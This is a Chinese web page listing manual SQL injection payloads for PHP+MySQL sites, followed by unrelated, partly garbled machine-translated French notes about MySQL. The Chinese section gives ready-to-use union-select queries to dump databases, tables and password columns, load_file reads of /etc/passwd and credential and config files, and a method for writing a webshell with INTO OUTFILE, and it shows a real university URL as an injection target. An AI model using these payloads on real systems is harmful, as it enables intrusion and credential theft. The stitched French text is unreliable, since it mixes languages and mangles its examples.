PHP+MySQL 手工注入语句大全 推荐_php技巧
暴字段长度
Order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3、magic_quotes_gpc()=OFF
select ‘' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'
load_file() 常用路径:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “ 3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示
Char(32)表示 空格
手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
既可以继续注射了。。。

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Les principales raisons pour lesquelles vous ne pouvez pas vous connecter à MySQL en tant que racines sont des problèmes d'autorisation, des erreurs de fichier de configuration, des problèmes de mot de passe incohérents, des problèmes de fichiers de socket ou une interception de pare-feu. La solution comprend: vérifiez si le paramètre Bind-Address dans le fichier de configuration est configuré correctement. Vérifiez si les autorisations de l'utilisateur racine ont été modifiées ou supprimées et réinitialisées. Vérifiez que le mot de passe est précis, y compris les cas et les caractères spéciaux. Vérifiez les paramètres et les chemins d'autorisation du fichier de socket. Vérifiez que le pare-feu bloque les connexions au serveur MySQL.

Lorsque MySQL modifie la structure du tableau, les verrous de métadonnées sont généralement utilisés, ce qui peut entraîner le verrouillage du tableau. Pour réduire l'impact des serrures, les mesures suivantes peuvent être prises: 1. Gardez les tables disponibles avec le DDL en ligne; 2. Effectuer des modifications complexes en lots; 3. Opérez pendant les périodes petites ou hors pointe; 4. Utilisez des outils PT-OSC pour obtenir un contrôle plus fin.

Dans la base de données MySQL, la relation entre l'utilisateur et la base de données est définie par les autorisations et les tables. L'utilisateur a un nom d'utilisateur et un mot de passe pour accéder à la base de données. Les autorisations sont accordées par la commande Grant, tandis que le tableau est créé par la commande Create Table. Pour établir une relation entre un utilisateur et une base de données, vous devez créer une base de données, créer un utilisateur, puis accorder des autorisations.

1. Utilisez l'index correct pour accélérer la récupération des données en réduisant la quantité de données numérisées SELECT * FROMMLOYEESEESHWHERELAST_NAME = 'SMITH'; Si vous recherchez plusieurs fois une colonne d'une table, créez un index pour cette colonne. If you or your app needs data from multiple columns according to the criteria, create a composite index 2. Avoid select * only those required columns, if you select all unwanted columns, this will only consume more server memory and cause the server to slow down at high load or frequency times For example, your table contains columns such as created_at and updated_at and timestamps, and then avoid selecting * because they do not require inefficient query se

MySQL ne peut pas fonctionner directement sur Android, mais il peut être implémenté indirectement en utilisant les méthodes suivantes: à l'aide de la base de données légère SQLite, qui est construite sur le système Android, ne nécessite pas de serveur distinct et a une petite utilisation des ressources, qui est très adaptée aux applications de périphériques mobiles. Connectez-vous à distance au serveur MySQL et connectez-vous à la base de données MySQL sur le serveur distant via le réseau pour la lecture et l'écriture de données, mais il existe des inconvénients tels que des dépendances de réseau solides, des problèmes de sécurité et des coûts de serveur.

Simplification de l'intégration des données: AmazonrDSMysQL et l'intégration Zero ETL de Redshift, l'intégration des données est au cœur d'une organisation basée sur les données. Les processus traditionnels ETL (extrait, converti, charge) sont complexes et prennent du temps, en particulier lors de l'intégration de bases de données (telles que AmazonrDSMysQL) avec des entrepôts de données (tels que Redshift). Cependant, AWS fournit des solutions d'intégration ETL Zero qui ont complètement changé cette situation, fournissant une solution simplifiée et à temps proche pour la migration des données de RDSMySQL à Redshift. Cet article plongera dans l'intégration RDSMYSQL ZERO ETL avec Redshift, expliquant comment il fonctionne et les avantages qu'il apporte aux ingénieurs de données et aux développeurs.

MySQL a une version communautaire gratuite et une version d'entreprise payante. La version communautaire peut être utilisée et modifiée gratuitement, mais le support est limité et convient aux applications avec des exigences de stabilité faibles et des capacités techniques solides. L'Enterprise Edition fournit une prise en charge commerciale complète pour les applications qui nécessitent une base de données stable, fiable et haute performance et disposées à payer pour le soutien. Les facteurs pris en compte lors du choix d'une version comprennent la criticité des applications, la budgétisation et les compétences techniques. Il n'y a pas d'option parfaite, seulement l'option la plus appropriée, et vous devez choisir soigneusement en fonction de la situation spécifique.

Guide d'optimisation des performances de la base de données MySQL dans les applications à forte intensité de ressources, la base de données MySQL joue un rôle crucial et est responsable de la gestion des transactions massives. Cependant, à mesure que l'échelle de l'application se développe, les goulots d'étranglement des performances de la base de données deviennent souvent une contrainte. Cet article explorera une série de stratégies efficaces d'optimisation des performances MySQL pour garantir que votre application reste efficace et réactive dans des charges élevées. Nous combinerons des cas réels pour expliquer les technologies clés approfondies telles que l'indexation, l'optimisation des requêtes, la conception de la base de données et la mise en cache. 1. La conception de l'architecture de la base de données et l'architecture optimisée de la base de données sont la pierre angulaire de l'optimisation des performances MySQL. Voici quelques principes de base: sélectionner le bon type de données et sélectionner le plus petit type de données qui répond aux besoins peut non seulement économiser un espace de stockage, mais également améliorer la vitesse de traitement des données.
